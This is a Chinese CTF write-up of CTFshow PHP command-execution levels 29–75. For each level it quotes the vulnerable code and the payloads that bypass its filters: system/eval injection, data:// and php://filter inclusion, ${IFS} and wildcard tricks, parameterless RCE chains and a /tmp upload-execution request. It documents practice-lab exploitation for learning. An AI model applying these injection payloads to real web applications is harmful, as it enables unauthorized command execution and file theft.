文章目录
CTFshow web入门 web入门_命令执行 持续更新
这一篇的草稿已经存了一段时间了,一方面觉得更新也没什么人看了,圈内已经有众多大佬的博客了,很多题目的hint里面也有题解,另一方面总感觉还没有写完,想等写完再发,后来复现的时候感觉题目也挺多的,慢慢更吧
写到这里就当是给自己看的了
2022-09-09更
复习一下web,顺便更完这个系列
晚风依旧很温柔,一个人慢慢走
web29
如果没有匹配到flag就执行$c
先传一个?c=system(‘ls’); 回显两个文件flag.php index.php
那就是要读flag.php了,方法太多了,这里用这个就行
?c=system('cat *');
web30
多了一点过滤,盲猜还是要看flag.php
把system过滤掉了可以用反引号替换
?c=echo `cat *`;
web31
命令执行里的空格可以用%09绕过
?c=echo(`nl%09*`);
或者
passthru("more%09f*");
web32
把反引号和echo和括号都禁了,还可以用include,注意不要留空格(include函数不需要空格也可以包含文件)
/?c=include$_POST["a"]?>
POST:a=php://filter/read=convert.base64-encode/resource=flag.php
web33-36
emmmm,禁了双引号,那干脆不用了
/?c=include$_POST[a]?>
POST:a=php://filter/read=convert.base64-encode/resource=flag.php
web37
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
考查文件包含,但是不能有flag字符,方法有很多,这里列举利用data协议命令执行和base64加密的文件包含
?c=data:text/plain,<?php system('cat f*.php');?>
?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web38
增加了对于php和file字符的过滤,试了一下短标签绕过php,没有用,那就用上面的base64编码吧
?c=data:text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
web39
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
include自带.php后缀,还是不影响我们使用data协议,hint:
data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用
?c=data:text/plain,<?php system('cat fla*.php');?>
web40
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:12:34
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了大量的符号和数字,一开始没有思路,直到后来发现,过滤掉的括号是中文的…,仔细比较就能发现不一样
( 中文
( 英文
然后就可以无参数RCE,这是之前做的一些笔记
#经典讲解
https://www.freebuf.com/articles/system/242482.html
例题:
<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
?>
如果code匹配过后只剩下一个 ; 则执行代码
preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])
'/[^\W]+\((?R)?\)/' /w表示匹配字母,数字和下划线,等价于[A-Za-z0-9_]
((?R)? 表示递归匹配,
最终只有a(b(c()));这样的命令可以使用
所以我们需要无参数的rce 基于php强大的函数
一般来说,print_r(scandir('.'));可以用来查看当前目录所有文件名
localeconv()返回一包含本地数字及货币格式信息的数组。而数组第一项就是"."(后续出现的.都用双引号包裹,方便识别)
current()返回数组中的单元,默认取第一个值:
print_r(scandir(current(localeconv()))); 成功打印出当前目录下文件
或者使用print_r(scandir(pos(localeconv())));,pos是current的别名
phpversion()
phpversion()返回PHP版本,如5.5.9
floor(phpversion())返回 5
sqrt(floor(phpversion()))返回2.2360679774998
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
而chr(46)='.'
若flag.php为最后一个文件,则
show_source(end(scandir(getcwd()))); getcwd()获取当前目录绝对路径
或show_source(current(array_reverse(scandir(getcwd())))); 将数组逆序后选取第一个放回
如果是倒数第二个我们可以用:
show_source(next(array_reverse(scandir(getcwd()))));
如果不是数组的最后一个或者倒数第二个呢?
我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组
所以我们可以用:
show_source(array_rand(array_flip(scandir(getcwd()))));
或者:
show_source(array_rand(array_flip(scandir(current(localeconv())))));
这里我们可以
?c=show_source(next(array_reverse(scandir(getcwd()))));
web41
emmm,这题不友好啊,看出题人的wp吧
https://blog.csdn.net/miuzzx/article/details/108569080
web42
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
这题把输出都重定向到了null里,就是不给我们回显,但是想到了linux下的命令执行的特点,解法还是挺多的
?c=cat flag.php%0a
?c=cat flag.php;
?c=cat flag.php||
web43
增加了分号;和cat过滤,解法很多
?c=nl fla*||
?c=tac fla*||
cat的部分绕过方法
cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
nl:类似于cat -n,显示时输出行号
tailf:类似于tail -f
sort%20/flag 读文件
出处:https://www.sohu.com/a/440030737_120967809
web44
增加flag过滤,解法同上
web45
增加空格过滤,空格的绕过也是经典了
?c=tac%09fla*||
web46
增加数字过滤和*过滤,但是试了一下%09还能用,应该是表示的url编码会解码,*用?替换就行了
/?c=tac%09fl??????||
web47
增添了一些过滤,不过,上一题的wp完美避开了
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
web48
同上
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
web49
可能出题的时候没有考虑到tac命令吧,居然还是上上题的wp,恰好避开了所有过滤
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
web50
终于对我的%09下手了
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
不知道为啥问号(?)好像没有用了
?c=tac<fla''g.php%0a
web51
也对tac下手了
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
看前面的命令绕过可知,还有一个nl没有被禁
?c=nl<fla''g.php||
web52
过尖括号
?c=nl${IFS}fla''g.php||
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
web53
感觉这里就直接执行代码了,不知道在考什么
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
?c=nl${IFS}fl''ag.php
web54
好家伙,nl也被禁了
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
直接到目录里面找cat命令
?c=/bin/ca?${IFS}f???????
web55
禁用了所有小写字母,利用上题的思路,直接找/bin/base64
?c=/???/????64 ????.???
之后看了wp说是用无字母RCE
https://blog.csdn.net/qq_46091464/article/details/108557067
就这题来说的话好像不需要这么复杂,但是无字母RCE还是值得去复现一下
web56
和上个题目相比多禁用了数字…好像明白上次为啥更新到这里就不更了
这里需要利用上面无字母RCE的解题思路,详细一点的思路也可以参考这篇博文,主要就是因为php上传的文件放在/tmp目录下,可能包含大写字母,而大写字母ASCII码值位于 @ 和 [ 之间,因此可以用来检索大写字母
具体请求包如下:
POST /?c=.+/???/????????[@-[] HTTP/1.1
Host: e54ef21f-1328-4a05-a422-b4eedfcd7e06.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: UM_distinctid=1739f845e394-0cffbf96840b0c8-4c302d7c-144000-1739f845e3b4e2
Upgrade-Insecure-Requests: 1
Content-Length: 241
-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain
#! /bin/sh
cat flag.php
-----------------------------10242300956292313528205888--
web57
这次把 [ 给过滤掉了
这里需要注意的是,flag in 36.php,一开始没有看到这个题目半天没看出这是个啥,构建36的话还是有一些方法的,具体可以参考这篇博文
shell中
${_}:代表上一次命令执行的结果
$(( )):表示对()中的内容做运算
之前没有执行命令时$(())应该表示0,而用~取反则可以得到-1,多个-1相加可以得到-37,最后取反可以得到36
payload
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(()))) ))))
执行后查看源码即可获取flag
web58
乍一看题目这么简单?直接传一个c=system(‘ls’); 发事情并没有这么简单
system函数禁用,后面测试发现被禁用的还有exec(), shell_exec(), passthru()等等,用反引号好像也不太行,一番查找后找到了show_source()函数
web59
和上面的payload一样
这里提供以下两种payload
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
c=show_source('flag.php');
web60~web65
好像还是和上面的一样,emmm,
web66~web67
虽然题目相似,但是这次show_source()不让用了,于是用的payload如下:
c=include "php://filter/read=convert.base64-encode/resource=flag.php";
解密base64如下
换一个highlight_file()函数
web68~70
好家伙,禁用highlight_file()把自己给禁用了,题目的源码都看不到了,只能换了一个include函数,成功绕过禁用
c=include('/flag.txt');
web71
这题有点奇怪了,禁用highlight_file()导致看不到题目
用上一题的payload之后发现字符好像都被替换了
但是看不到源码,因而也不知道题目的处理逻辑,而且{}里面好像已经查出flag了,应该不是在考函数绕过了
想半天没能绕过去,查资料发现不知道为啥好像其它师傅能看到源码
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
因而思路比较清晰了,查到flag后直接用exit()退出
web72
这题很迷,但是发现原来题目里可以下载源码。。。
web73
首先可以用 查看一下目录
include()即可得到flag
web74
scandir()被禁用,看不到目录了,直接c=inclde(‘/flagc.txt’);exit(); 查不到文件了,但是猜测flag文件名不大差,试了几个就试出来了,payload如下:
c=include('/flagx.txt');exit();
web 75
打不过打不过
先更新到这里吧
持续更新